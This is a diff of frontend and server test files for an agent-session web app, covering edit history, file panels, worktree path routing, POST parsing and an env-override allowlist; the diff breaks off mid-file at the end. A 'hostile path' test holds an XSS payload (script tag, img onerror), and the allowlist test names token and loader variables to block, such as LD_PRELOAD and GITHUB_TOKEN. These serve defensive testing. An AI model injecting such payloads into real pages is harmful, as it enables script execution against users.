||||
toolEnd(sessionA, 'Edit');
|
||||
toolEnd(sessionA, 'Bash');
|
||||
await page.waitForFunction(() =>
|
||||
/src\/fresh\.ts/.test(document.getElementById('editHistoryBody')!.textContent ?? '')
|
||||
);
|
||||
await page.waitForTimeout(800);
|
||||
expect(syncReads(sessionA)).toBe(before + 1);
|
||||
// The end of a turn re-reads too (a parallel tool call reports one tool end only, a background
|
||||
// subagent writes later): `session:idle`, since claude's transcript has no `result` line.
|
||||
// Not another session's, and not the end of Codeman's own keep-alive turn (it edits nothing).
|
||||
(server as any).broadcast('session:idle', { id: 'someone-else' });
|
||||
(server as any).broadcast('session:idle', { id: sessionA, keepAlive: true });
|
||||
await page.waitForTimeout(1200);
|
||||
expect(syncReads(sessionA)).toBe(before + 1);
|
||||
(server as any).broadcast('session:idle', { id: sessionA });
|
||||
await page.waitForTimeout(1200);
|
||||
expect(syncReads(sessionA)).toBe(before + 2);
|
||||
});
|
||||
|
||||
it('while the panel is closed, transcript events read nothing; opening reads once', async () => {
|
||||
await page.click('#editHistoryBtn');
|
||||
await page.waitForSelector('#editHistoryPanel:not(.visible)', { state: 'attached' });
|
||||
const before = syncReads(sessionA);
|
||||
toolEnd(sessionA, 'Edit');
|
||||
(server as any).broadcast('session:idle', { id: sessionA });
|
||||
await page.waitForTimeout(1200);
|
||||
expect(syncReads(sessionA)).toBe(before);
|
||||
expect(await page.$('#editHistoryUnread')).toBeNull(); // no unread badge: closed means idle
|
||||
await page.click('#editHistoryBtn');
|
||||
await page.waitForSelector('#editHistoryPanel.visible');
|
||||
await page.waitForFunction(() => document.querySelectorAll('#editHistoryBody .edit-history-entry').length > 0);
|
||||
expect(syncReads(sessionA)).toBe(before + 1);
|
||||
});
|
||||
|
||||
it('an image outside the workspace registers nothing until clicked, then previews through the attachment route quietly', async () => {
|
||||
const s = state.get(sessionA)!;
|
||||
const outside = join(ext, 'render.png');
|
||||
state.set(sessionA, {
|
||||
...s,
|
||||
entries: [
|
||||
entry({ id: 'ext', path: outside, relPath: outside, kind: 'image', tool: 'bash', added: 0, removed: 0 }),
|
||||
...(s.entries as Entry[]),
|
||||
],
|
||||
});
|
||||
await reload();
|
||||
const row = page.locator('#editHistoryBody .edit-history-entry', { hasText: 'render.png' });
|
||||
await row.waitFor();
|
||||
// No thumbnail for it (that would mint an attachment id per render), and no registration.
|
||||
expect(
|
||||
await page.evaluate(() =>
|
||||
[...document.querySelectorAll('#editHistoryBody img.edit-history-thumb')].map((i) => i.getAttribute('src'))
|
||||
)
|
||||
).not.toContainEqual(expect.stringContaining('render.png'));
|
||||
await reload();
|
||||
expect(attachmentPosts).toEqual([]);
|
||||
// A click opens the shared preview, which registers the file once, without a notification.
|
||||
await row.click();
|
||||
await page.waitForSelector('#filePreviewOverlay.visible');
|
||||
expect(attachmentPosts).toEqual([{ path: outside, notify: false }]);
|
||||
await page.evaluate(() => (window as any).app.closeFilePreview());
|
||||
state.set(sessionA, s);
|
||||
});
|
||||
|
||||
it('a remote session lists its images without a thumbnail (no ssh read per row); a click still previews', async () => {
|
||||
const thumbs = () => page.locator('#editHistoryBody img.edit-history-thumb').count();
|
||||
expect(await thumbs()).toBe(1);
|
||||
await page.evaluate((sid) => {
|
||||
const w = window as any;
|
||||
w.app.sessions.get(sid).remote = { hostId: 'h', label: 'h', host: '192.0.2.1', username: 'j', remotePath: '/' };
|
||||
w.__previewed = [];
|
||||
w.__openFilePreview = w.app.openFilePreview;
|
||||
w.app.openFilePreview = (p: string, s: string) => w.__previewed.push([p, s]);
|
||||
}, sessionA);
|
||||
try {
|
||||
await reload();
|
||||
await page.locator('#editHistoryBody .edit-history-entry', { hasText: 'shot.png' }).waitFor();
|
||||
expect(await thumbs()).toBe(0);
|
||||
await page.locator('#editHistoryBody .edit-history-entry', { hasText: 'shot.png' }).click();
|
||||
expect(await page.evaluate(() => (window as any).__previewed)).toEqual([[join(root, 'shot.png'), sessionA]]);
|
||||
} finally {
|
||||
await page.evaluate((sid) => {
|
||||
const w = window as any;
|
||||
delete w.app.sessions.get(sid).remote;
|
||||
w.app.openFilePreview = w.__openFilePreview;
|
||||
}, sessionA);
|
||||
await reload();
|
||||
}
|
||||
await page.locator('#editHistoryBody img.edit-history-thumb').waitFor();
|
||||
});
|
||||
|
||||
it('a long path outside the workspace keeps its file name readable, the folder is cut at the start', async () => {
|
||||
const s = state.get(sessionA)!;
|
||||
const long =
|
||||
'/tmp/claude-1000/-mnt-caches-ComfyUI/07e259af-d4d2-4ac3-8a7e-95972e3547df/scratchpad/icons/bremse_alt1_pedal.png';
|
||||
state.set(sessionA, {
|
||||
...s,
|
||||
entries: [
|
||||
entry({ id: 'long', relPath: long, kind: 'image', tool: 'sent', added: 0, removed: 0 }),
|
||||
...(s.entries as Entry[]),
|
||||
],
|
||||
});
|
||||
await reload();
|
||||
const row = rows().nth(0);
|
||||
await row.waitFor();
|
||||
expect(await row.locator('.edit-history-path').textContent()).toBe(long);
|
||||
const name = row.locator('.edit-history-path-name');
|
||||
expect(await name.textContent()).toBe('bremse_alt1_pedal.png');
|
||||
// The name is shown whole; only the folder part is shortened.
|
||||
expect(await name.evaluate((el) => el.scrollWidth <= el.clientWidth)).toBe(true);
|
||||
expect(await row.locator('.edit-history-path-dir').evaluate((el) => el.scrollWidth > el.clientWidth)).toBe(true);
|
||||
state.set(sessionA, s);
|
||||
});
|
||||
|
||||
it('renders a hostile path as text, never as markup', async () => {
|
||||
const s = state.get(sessionA)!;
|
||||
const evil = '<script>window.__pwned=1</script><img src=x onerror="window.__pwned=2">.ts';
|
||||
state.set(sessionA, {
|
||||
...s,
|
||||
agents: { agent1: { description: '<b>bold</b>', agentType: 'x', worktreeBranch: '' } },
|
||||
entries: [entry({ id: 'evil', relPath: evil, agentId: 'agent1' }), ...(s.entries as Entry[])],
|
||||
});
|
||||
await reload();
|
||||
await page.waitForFunction(() => /__pwned/.test(document.getElementById('editHistoryBody')!.textContent ?? ''));
|
||||
expect(await rows().nth(0).locator('.edit-history-path').textContent()).toBe(evil);
|
||||
expect(await rows().nth(0).locator('.edit-history-agent').textContent()).toBe('<b>bold</b>');
|
||||
expect(await page.$('#editHistoryBody script')).toBeNull();
|
||||
expect(await page.$('#editHistoryBody b')).toBeNull();
|
||||
expect(
|
||||
await page.$$eval(
|
||||
'#editHistoryBody img',
|
||||
(els) => els.filter((e) => !e.classList.contains('edit-history-thumb')).length
|
||||
)
|
||||
).toBe(0);
|
||||
expect(await page.evaluate(() => (window as any).__pwned)).toBeUndefined();
|
||||
});
|
||||
|
||||
it('unavailable: the saved entries stay, with the reason on top', async () => {
|
||||
const s = state.get(sessionA)!;
|
||||
state.set(sessionA, { ...s, state: 'unavailable', reason: 'EACCES: permission denied' });
|
||||
await reload();
|
||||
await page.waitForSelector('#editHistoryBody .edit-history-note--warn');
|
||||
expect(await page.textContent('#editHistoryBody .edit-history-note--warn')).toBe(
|
||||
'Showing saved entries only: EACCES: permission denied'
|
||||
);
|
||||
expect(await rows().count()).toBeGreaterThan(0);
|
||||
state.set(sessionA, { ...s, state: 'ok' });
|
||||
});
|
||||
|
||||
it('no transcript yet: says it comes with the next prompt, and names CLAUDE_CONFIG_DIR', async () => {
|
||||
const s = state.get(sessionA)!;
|
||||
state.set(sessionA, { ...s, state: 'unavailable', reason: 'no-transcript', entries: [] });
|
||||
await reload();
|
||||
await page.waitForSelector('#editHistoryBody .edit-history-note--warn');
|
||||
const note = (await page.textContent('#editHistoryBody .edit-history-note--warn')) ?? '';
|
||||
expect(note).toContain('No transcript found for this session yet');
|
||||
expect(note).toContain('CLAUDE_CONFIG_DIR');
|
||||
// A remote host sends no hooks: no promise that the next prompt finds it.
|
||||
await page.evaluate((sid) => {
|
||||
(window as any).app.sessions.get(sid).remote = { hostId: 'h', label: 'h', host: '192.0.2.1' };
|
||||
}, sessionA);
|
||||
try {
|
||||
await reload();
|
||||
const remoteNote = page.locator('#editHistoryBody .edit-history-note--warn', {
|
||||
hasText: 'No transcript found on the remote host yet',
|
||||
});
|
||||
await remoteNote.waitFor();
|
||||
const text = (await remoteNote.textContent()) ?? '';
|
||||
expect(text).not.toContain('next prompt');
|
||||
expect(text).toContain('.bash_profile');
|
||||
} finally {
|
||||
await page.evaluate((sid) => delete (window as any).app.sessions.get(sid).remote, sessionA);
|
||||
state.set(sessionA, s);
|
||||
await reload();
|
||||
}
|
||||
});
|
||||
|
||||
it('follows the active session, and says when a session is not a Claude session', async () => {
|
||||
await select(sessionB);
|
||||
await page.waitForFunction(() =>
|
||||
/only available for Claude sessions outside Docker/.test(
|
||||
document.getElementById('editHistoryBody')!.textContent ?? ''
|
||||
)
|
||||
);
|
||||
expect(calls).toContain(`GET /api/sessions/${sessionB}/edits?sync=1`);
|
||||
expect(await rows().count()).toBe(0);
|
||||
await select(sessionA);
|
||||
await page.waitForSelector('#editHistoryBody .edit-history-entry');
|
||||
});
|
||||
|
||||
it('drags by the header', async () => {
|
||||
const before = await page.evaluate(() => document.getElementById('editHistoryPanel')!.getBoundingClientRect().left);
|
||||
const box = (await page.locator('.edit-history-header').boundingBox())!;
|
||||
await page.mouse.move(box.x + 40, box.y + 10);
|
||||
await page.mouse.down();
|
||||
await page.mouse.move(box.x - 140, box.y + 70, { steps: 5 });
|
||||
await page.mouse.up();
|
||||
const after = await page.evaluate(() => document.getElementById('editHistoryPanel')!.getBoundingClientRect().left);
|
||||
expect(after).toBeLessThan(before - 100);
|
||||
});
|
||||
|
||||
it('turning the setting off hides the button and closes the panel; SSE then reads nothing', async () => {
|
||||
await setSetting(false);
|
||||
expect(await buttonVisible()).toBe(false);
|
||||
expect(await page.isVisible('#editHistoryPanel')).toBe(false);
|
||||
const before = calls.length;
|
||||
toolEnd(sessionA, 'Edit');
|
||||
await page.waitForTimeout(1200);
|
||||
expect(calls.length).toBe(before);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,50 @@
|
||||
/** Verify parser installation through the real server, including API aliases and base paths. */
|
||||
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
|
||||
import type { FastifyInstance } from 'fastify';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
|
||||
describe('empty POST: production server wiring', () => {
|
||||
let server: WebServer;
|
||||
let app: FastifyInstance;
|
||||
beforeAll(async () => {
|
||||
server = new WebServer(0, false, true, '127.0.0.1', undefined, false, '/codeman');
|
||||
await server.start();
|
||||
app = (server as unknown as { app: FastifyInstance }).app;
|
||||
});
|
||||
afterAll(async () => {
|
||||
await server?.stop();
|
||||
});
|
||||
|
||||
it('accepts empty chunked POSTs to a real API through each supported prefix', async () => {
|
||||
for (const prefix of ['/api', '/api/v1', '/codeman/api', '/codeman/api/v1']) {
|
||||
const res = await app.inject({
|
||||
method: 'POST',
|
||||
url: `${prefix}/approvals/session/nonexistent/viewed`,
|
||||
headers: { 'transfer-encoding': 'chunked' },
|
||||
});
|
||||
// The real handler ran and found no session, instead of the parser returning 415.
|
||||
expect(res.statusCode, res.body).toBe(404);
|
||||
expect(res.json().errorCode).toBe('NOT_FOUND');
|
||||
}
|
||||
});
|
||||
|
||||
it('still rejects a nonempty untyped POST before reaching the same handler', async () => {
|
||||
const res = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/approvals/session/nonexistent/viewed',
|
||||
headers: { 'transfer-encoding': 'chunked' },
|
||||
payload: '{}',
|
||||
});
|
||||
expect(res.statusCode).toBe(415);
|
||||
});
|
||||
|
||||
it('preserves the API 404 envelope for an unknown empty chunked POST', async () => {
|
||||
const res = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/nonexistent',
|
||||
headers: { 'transfer-encoding': 'chunked' },
|
||||
});
|
||||
expect(res.statusCode).toBe(404);
|
||||
expect(res.json().errorCode).toBe('NOT_FOUND');
|
||||
});
|
||||
});
|
||||
@@ -51,6 +51,17 @@ describe('envOverrides exact-key allowlist', () => {
|
||||
).toThrow();
|
||||
});
|
||||
|
||||
it('rejects the shared GitHub token names (Copilot reads COPILOT_GITHUB_TOKEN, in its own prefix)', () => {
|
||||
for (const key of ['GH_TOKEN', 'GITHUB_TOKEN']) {
|
||||
for (const mode of ['claude', 'shell', 'codex', 'copilot'] as const) {
|
||||
expect(() => CreateSessionSchema.parse({ workingDir: '/tmp', mode, envOverrides: { [key]: 'x' } })).toThrow();
|
||||
}
|
||||
}
|
||||
expect(() =>
|
||||
CreateSessionSchema.parse({ workingDir: '/tmp', mode: 'copilot', envOverrides: { COPILOT_GITHUB_TOKEN: 'x' } })
|
||||
).not.toThrow();
|
||||
});
|
||||
|
||||
it('still blocks security-sensitive keys', () => {
|
||||
for (const key of ['PATH', 'LD_PRELOAD', 'NODE_OPTIONS', 'CODEMAN_MUX_NAME']) {
|
||||
expect(() =>
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
/**
|
||||
* @fileoverview The Files panel's row for a folder the scan stopped short of.
|
||||
*
|
||||
* `GET .../files` gives a directory its node before reading it, so a folder still queued when the
|
||||
* budget ends, or one that did not answer, has `children: []` or a partial list
|
||||
* (test/routes/file-search-mode.test.ts, test/routes/file-walk-bounds.test.ts). Without
|
||||
* `incomplete` that reads as an empty folder. What can go wrong here is the client: the flag lost
|
||||
* on the way in, the row drawn for a collapsed or finished folder, or the click wiring treating it
|
||||
* as a file.
|
||||
*
|
||||
* panels-ui.js loads via `vm` as in file-browser-worktree.test.ts, over a real DOM, since the row
|
||||
* has to survive `innerHTML` and the `.file-tree-item` selector. Translation goes through the real
|
||||
* i18n.js. Port: N/A.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { JSDOM } from 'jsdom';
|
||||
import { afterAll, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
|
||||
const PANELS = readFileSync(resolve(PUBLIC, 'panels-ui.js'), 'utf8');
|
||||
const I18N = readFileSync(resolve(PUBLIC, 'i18n.js'), 'utf8');
|
||||
const STYLES = readFileSync(resolve(PUBLIC, 'styles.css'), 'utf8');
|
||||
|
||||
const dom = new JSDOM('<div id="fileBrowserTree"></div><div id="fileBrowserPanel" class="visible"></div>');
|
||||
afterAll(() => dom.window.close());
|
||||
const document = dom.window.document;
|
||||
const treeEl = () => document.getElementById('fileBrowserTree') as HTMLElement;
|
||||
|
||||
function loadPanel(expanded: string[] = []) {
|
||||
const CodemanApp = function CodemanApp(this: unknown) {} as unknown as new () => Record<string, any>;
|
||||
const context = vm.createContext({
|
||||
CodemanApp,
|
||||
console,
|
||||
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
|
||||
escapeHtml: (s: string) => String(s),
|
||||
document: { getElementById: () => null, addEventListener: vi.fn() },
|
||||
window: { addEventListener: vi.fn() },
|
||||
setTimeout,
|
||||
clearTimeout,
|
||||
CodemanBase: { url: (p: string) => p },
|
||||
});
|
||||
vm.runInContext(PANELS, context, { filename: 'panels-ui.js' });
|
||||
|
||||
const app = new CodemanApp();
|
||||
app.$ = (id: string) => document.getElementById(id);
|
||||
app.activeSessionId = 'sess-1';
|
||||
app.fileBrowserExpandedDirs = new Set(expanded);
|
||||
app.getFileIcon = () => '';
|
||||
app.formatFileSize = () => '';
|
||||
app.openFilePreview = vi.fn();
|
||||
return app;
|
||||
}
|
||||
|
||||
const bulk = {
|
||||
name: 'a-bulk',
|
||||
path: 'a-bulk',
|
||||
type: 'directory',
|
||||
incomplete: true,
|
||||
children: [{ name: 'one.txt', path: 'a-bulk/one.txt', type: 'file', size: 1, extension: 'txt' }],
|
||||
};
|
||||
const later = {
|
||||
name: 'z-later',
|
||||
path: 'z-later',
|
||||
type: 'directory',
|
||||
children: [{ name: 'needle.ts', path: 'z-later/needle.ts', type: 'file', size: 1, extension: 'ts' }],
|
||||
};
|
||||
const envelope = (tree: unknown[]) => ({
|
||||
success: true,
|
||||
data: { root: '/repo', tree, totalFiles: 2, totalDirectories: 2, truncated: true },
|
||||
});
|
||||
|
||||
const render = (app: Record<string, any>, tree: unknown[]) => {
|
||||
app.fileBrowserData = app._validateFileBrowserTreeEnvelope(envelope(tree));
|
||||
app.renderFileBrowserTree('sess-1');
|
||||
return [...treeEl().querySelectorAll('.file-tree-incomplete')] as HTMLElement[];
|
||||
};
|
||||
|
||||
describe('Files panel, a folder the scan stopped short of', () => {
|
||||
it('keeps the flag through the envelope check, which ignores what it does not know', () => {
|
||||
const app = loadPanel();
|
||||
const data = app._validateFileBrowserTreeEnvelope(envelope([bulk, later]));
|
||||
expect(data.tree[0].incomplete).toBe(true);
|
||||
// An old tab on a new server, and a new tab on an old server: neither is refused.
|
||||
expect(app._validateFileBrowserTreeEnvelope(envelope([later]))).not.toBeNull();
|
||||
});
|
||||
|
||||
it('draws one row under an expanded incomplete folder, after what was read', () => {
|
||||
const rows = render(loadPanel(['a-bulk']), [bulk, later]);
|
||||
|
||||
expect(rows).toHaveLength(1);
|
||||
expect(rows[0].textContent).toBe('Not fully scanned');
|
||||
expect(rows[0].dataset.depth).toBe('1');
|
||||
const items = [...treeEl().children].map((el) => (el as HTMLElement).dataset.path ?? 'ROW');
|
||||
expect(items).toEqual(['a-bulk', 'a-bulk/one.txt', 'ROW', 'z-later']);
|
||||
});
|
||||
|
||||
it('draws it for a folder nothing was read from, which would otherwise look empty', () => {
|
||||
const unread = { name: 'b-unread', path: 'b-unread', type: 'directory', incomplete: true, children: [] };
|
||||
const rows = render(loadPanel(['b-unread']), [unread]);
|
||||
|
||||
expect(rows).toHaveLength(1);
|
||||
expect(treeEl().querySelectorAll('.file-tree-item')).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('indents the row one level under a nested folder', () => {
|
||||
const nested = { name: 'outer', path: 'outer', type: 'directory', children: [bulk] };
|
||||
const rows = render(loadPanel(['outer', 'a-bulk']), [nested]);
|
||||
|
||||
expect(rows[0].dataset.depth).toBe('2');
|
||||
});
|
||||
|
||||
it('draws nothing while the folder is collapsed', () => {
|
||||
expect(render(loadPanel(), [bulk, later])).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('draws nothing under an expanded folder that was finished', () => {
|
||||
expect(render(loadPanel(['z-later']), [bulk, later])).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('accepts only a real true, so a stray truthy value draws nothing', () => {
|
||||
const odd = { ...bulk, incomplete: 'false' };
|
||||
expect(render(loadPanel(['a-bulk']), [odd])).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('is inert: a click neither opens nor toggles anything', () => {
|
||||
const app = loadPanel(['a-bulk']);
|
||||
const toggle = vi.spyOn(app, 'toggleFileBrowserFolder');
|
||||
const [row] = render(app, [bulk, later]);
|
||||
|
||||
row.click();
|
||||
|
||||
expect(row.matches('.file-tree-item')).toBe(false);
|
||||
expect(row.dataset.path).toBeUndefined();
|
||||
expect(app.openFilePreview).not.toHaveBeenCalled();
|
||||
expect(toggle).not.toHaveBeenCalled();
|
||||
// The file beside it still opens, so the click wiring did run.
|
||||
(treeEl().querySelector('[data-path="a-bulk/one.txt"]') as HTMLElement).click();
|
||||
expect(app.openFilePreview).toHaveBeenCalledWith('a-bulk/one.txt', 'sess-1');
|
||||
});
|
||||
|
||||
it('is indented by the same steps as the rows around it', () => {
|
||||
for (let depth = 1; depth <= 9; depth++) {
|
||||
expect(STYLES).toContain(
|
||||
`.file-tree-item[data-depth="${depth}"], .file-tree-incomplete[data-depth="${depth}"] {`
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it('reads in Chinese, through the string the row really shows', () => {
|
||||
const [row] = render(loadPanel(['a-bulk']), [bulk]);
|
||||
const i18n = new JSDOM('<html></html>', { runScripts: 'outside-only', url: 'http://localhost/' });
|
||||
vm.runInContext(I18N, i18n.getInternalVMContext(), { filename: 'i18n.js' });
|
||||
const api = (
|
||||
i18n.window as unknown as {
|
||||
CodemanI18n: { t(s: string): string; configure(o: Record<string, string>): void; start(): void };
|
||||
}
|
||||
).CodemanI18n;
|
||||
api.start();
|
||||
api.configure({ language: 'zh-CN' });
|
||||
|
||||
const translated = api.t(row.textContent as string);
|
||||
expect(translated).not.toBe(row.textContent);
|
||||
expect(translated).not.toMatch(/[A-Za-z]/);
|
||||
i18n.window.close();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,312 @@
|
||||
/**
|
||||
* @fileoverview The browser side of a worktree OUTSIDE the session folder (#765 follow-up).
|
||||
*
|
||||
* The server lists such a worktree with absolute paths and serves them as a second root. The
|
||||
* browser has to route those paths to the workspace file routes (preview and edit), not to the
|
||||
* attachment routes that serve an outside file read-only; the terminal has to open them in the
|
||||
* preview, since the log viewer's `tail-file` stays confined to `workingDir`; and a root-relative
|
||||
* markdown ref has to resolve from the top of the worktree. Real frontend code in a `vm` context.
|
||||
*/
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { resolve } from 'node:path';
|
||||
import vm from 'node:vm';
|
||||
import { JSDOM } from 'jsdom';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const read = (name: string) => readFileSync(resolve(import.meta.dirname, '../src/web/public', name), 'utf8');
|
||||
|
||||
const WORKING_DIR = '/base/myapp';
|
||||
const SIBLING = '/base/myapp-feature';
|
||||
const outsideSession = () => ({
|
||||
workingDir: WORKING_DIR,
|
||||
outsideWorktree: { name: 'myapp-feature', path: SIBLING, outside: true },
|
||||
});
|
||||
|
||||
type Proto = {
|
||||
_isExternalPreviewPath: (p: string, id: string) => boolean;
|
||||
_isOutsideWorktreePath: (p: string, id: string) => boolean;
|
||||
};
|
||||
|
||||
const loadRouting = (session: Record<string, unknown>) => {
|
||||
const context = vm.createContext({
|
||||
console,
|
||||
CodemanApp: class CodemanApp {},
|
||||
document: { addEventListener: vi.fn(), getElementById: () => null },
|
||||
window: { addEventListener: vi.fn(), removeEventListener: vi.fn() },
|
||||
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
|
||||
});
|
||||
vm.runInContext(
|
||||
`${read('constants.js')}\n${read('terminal-ui.js')}\n${read('panels-ui.js')}\nglobalThis.__proto = CodemanApp.prototype;`,
|
||||
context
|
||||
);
|
||||
const proto = (context as unknown as { __proto: Proto }).__proto;
|
||||
const app = Object.assign(Object.create(proto), { sessions: new Map([['s1', session]]) }) as Proto;
|
||||
return {
|
||||
external: (p: string) => app._isExternalPreviewPath(p, 's1'),
|
||||
outside: (p: string) => app._isOutsideWorktreePath(p, 's1'),
|
||||
};
|
||||
};
|
||||
|
||||
describe('preview routing for a worktree outside the session folder', () => {
|
||||
it('keeps a path inside the outside worktree on the workspace routes', () => {
|
||||
const app = loadRouting(outsideSession());
|
||||
expect(app.external(`${SIBLING}/src/a.ts`)).toBe(false);
|
||||
expect(app.external(SIBLING)).toBe(false);
|
||||
expect(app.outside(`${SIBLING}/src/a.ts`)).toBe(true);
|
||||
});
|
||||
|
||||
it('still sends every other outside path through the attachment routes', () => {
|
||||
const app = loadRouting(outsideSession());
|
||||
expect(app.external('/base/myapp-feature-2/src/a.ts')).toBe(true);
|
||||
expect(app.external('/tmp/shot.png')).toBe(true);
|
||||
expect(app.outside('/base/myapp-feature-2/src/a.ts')).toBe(false);
|
||||
expect(app.outside('relative/a.ts')).toBe(false);
|
||||
});
|
||||
|
||||
it('leaves workspace paths and an inside worktree as they were', () => {
|
||||
const app = loadRouting({
|
||||
workingDir: WORKING_DIR,
|
||||
liveWorktree: { name: 'probe', path: `${WORKING_DIR}/.claude/worktrees/probe` },
|
||||
});
|
||||
expect(app.external(`${WORKING_DIR}/src/a.ts`)).toBe(false);
|
||||
expect(app.outside(`${WORKING_DIR}/.claude/worktrees/probe/a.ts`)).toBe(false);
|
||||
expect(app.external(`${SIBLING}/src/a.ts`)).toBe(true);
|
||||
});
|
||||
|
||||
it('treats a sibling path as external once the agent has left the worktree', () => {
|
||||
const app = loadRouting({ workingDir: WORKING_DIR });
|
||||
expect(app.external(`${SIBLING}/src/a.ts`)).toBe(true);
|
||||
expect(app.outside(`${SIBLING}/src/a.ts`)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('terminal links into a worktree outside the session folder', () => {
|
||||
type Link = { text: string; activate: (ev: unknown, text: string) => void };
|
||||
type Provider = { provideLinks: (line: number, cb: (links: Link[] | undefined) => void) => void };
|
||||
|
||||
const makeApp = (line: string) => {
|
||||
const CodemanApp = function CodemanApp(this: unknown) {};
|
||||
const context = vm.createContext({
|
||||
window: {},
|
||||
document: {
|
||||
body: { classList: { contains: () => false } },
|
||||
activeElement: null,
|
||||
addEventListener: vi.fn(),
|
||||
getElementById: () => null,
|
||||
},
|
||||
CodemanApp,
|
||||
console: { warn: vi.fn(), log: vi.fn(), debug: vi.fn() },
|
||||
_crashDiag: { log: vi.fn() },
|
||||
performance: { now: () => 0 },
|
||||
requestAnimationFrame: () => 1,
|
||||
setTimeout: () => 1,
|
||||
MobileDetection: { isTouchDevice: () => false },
|
||||
DEC_SYNC_STRIP_RE: /\x1b\[\?2026[hl]/g,
|
||||
OSC52_STRIP_RE: /\x1b\]52;[^\x07\x1b]*(?:\x07|\x1b\\)/g,
|
||||
TERMINAL_CHUNK_SIZE: 32 * 1024,
|
||||
});
|
||||
vm.runInContext(read('constants.js'), context, { filename: 'constants.js' });
|
||||
vm.runInContext(read('terminal-ui.js'), context, { filename: 'terminal-ui.js' });
|
||||
vm.runInContext(read('panels-ui.js'), context, { filename: 'panels-ui.js' });
|
||||
const app = new (CodemanApp as unknown as new () => Record<string, any>)();
|
||||
app.activeSessionId = 's1';
|
||||
app.sessions = new Map([['s1', outsideSession()]]);
|
||||
app.openFilePreview = vi.fn();
|
||||
app.openLogViewerWindow = vi.fn();
|
||||
const providers: Provider[] = [];
|
||||
app.terminal = {
|
||||
cols: 80,
|
||||
registerLinkProvider: (p: Provider) => providers.push(p),
|
||||
buffer: {
|
||||
active: {
|
||||
length: 1,
|
||||
getLine: (row: number) =>
|
||||
row === 0
|
||||
? { isWrapped: false, translateToString: (trim?: boolean) => (trim === false ? line.padEnd(80) : line) }
|
||||
: undefined,
|
||||
},
|
||||
},
|
||||
};
|
||||
app.registerFilePathLinkProvider();
|
||||
let links: Link[] = [];
|
||||
providers[0].provideLinks(1, (found) => {
|
||||
links = found || [];
|
||||
});
|
||||
return { app, link: links[0] };
|
||||
};
|
||||
|
||||
it('opens a log in the outside worktree in the preview, since tail-file stays in the session folder', () => {
|
||||
const { app, link } = makeApp(`tail -f ${SIBLING}/logs/server.log`);
|
||||
link.activate({}, link.text);
|
||||
expect(app.openFilePreview).toHaveBeenCalledWith(`${SIBLING}/logs/server.log`, 's1');
|
||||
expect(app.openLogViewerWindow).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('keeps a log in the session folder in the log viewer', () => {
|
||||
const { app, link } = makeApp(`tail -f ${WORKING_DIR}/logs/server.log`);
|
||||
link.activate({}, link.text);
|
||||
expect(app.openLogViewerWindow).toHaveBeenCalledWith(`${WORKING_DIR}/logs/server.log`, 's1');
|
||||
});
|
||||
});
|
||||
|
||||
describe('markdown in a worktree outside the session folder', () => {
|
||||
const dom = new JSDOM('<!DOCTYPE html><html><body></body></html>', { url: 'http://localhost/' });
|
||||
const { document } = dom.window;
|
||||
|
||||
it('resolves root-relative and relative refs from the worktree, not the session folder', () => {
|
||||
const context = vm.createContext({
|
||||
console,
|
||||
CodemanApp: class CodemanApp {},
|
||||
document,
|
||||
window: { addEventListener: vi.fn(), removeEventListener: vi.fn() },
|
||||
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
|
||||
});
|
||||
vm.runInContext(
|
||||
`${read('constants.js')}\n${read('panels-ui.js')}\nglobalThis.__proto = CodemanApp.prototype;`,
|
||||
context
|
||||
);
|
||||
const proto = (context as unknown as { __proto: Record<string, any> }).__proto;
|
||||
const app = Object.assign(Object.create(proto), { sessions: new Map([['s1', outsideSession()]]) });
|
||||
const root = document.createElement('div');
|
||||
root.innerHTML = '<img src="/assets/root.png" alt="root"><img src="img/a.png" alt="rel">';
|
||||
|
||||
app._rebaseFilePreviewMarkdownRefs(root, { sessionId: 's1', filePath: `${SIBLING}/docs/README.md` });
|
||||
|
||||
const raw = (path: string) => `/api/sessions/s1/file-raw?path=${encodeURIComponent(path)}`;
|
||||
const src = (alt: string) => root.querySelector(`img[alt="${alt}"]`)!.getAttribute('src');
|
||||
expect(src('root')).toBe(raw(`${SIBLING}/assets/root.png`));
|
||||
expect(src('rel')).toBe(raw(`${SIBLING}/docs/img/a.png`));
|
||||
});
|
||||
});
|
||||
|
||||
describe('the Files panel following an agent in a worktree outside the session folder', () => {
|
||||
const OUTSIDE = { name: 'myapp-feature', path: SIBLING };
|
||||
const update = (extra: Record<string, unknown>) => ({ id: 'sess-1', ...extra });
|
||||
|
||||
const panelElement = () => {
|
||||
const classes = new Set<string>();
|
||||
return {
|
||||
innerHTML: '',
|
||||
textContent: '',
|
||||
title: '',
|
||||
hidden: true,
|
||||
value: '',
|
||||
classList: {
|
||||
toggle: (name: string, on: boolean) => (on ? classes.add(name) : classes.delete(name)),
|
||||
contains: (name: string) => classes.has(name),
|
||||
},
|
||||
setAttribute: () => {},
|
||||
querySelectorAll: () => [],
|
||||
};
|
||||
};
|
||||
|
||||
const loadPanel = () => {
|
||||
const CodemanApp = function CodemanApp(this: unknown) {} as unknown as new () => Record<string, any>;
|
||||
const context = vm.createContext({
|
||||
CodemanApp,
|
||||
console,
|
||||
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
|
||||
escapeHtml: (x: string) => String(x),
|
||||
document: { getElementById: () => null, addEventListener: vi.fn() },
|
||||
window: { addEventListener: vi.fn() },
|
||||
setTimeout,
|
||||
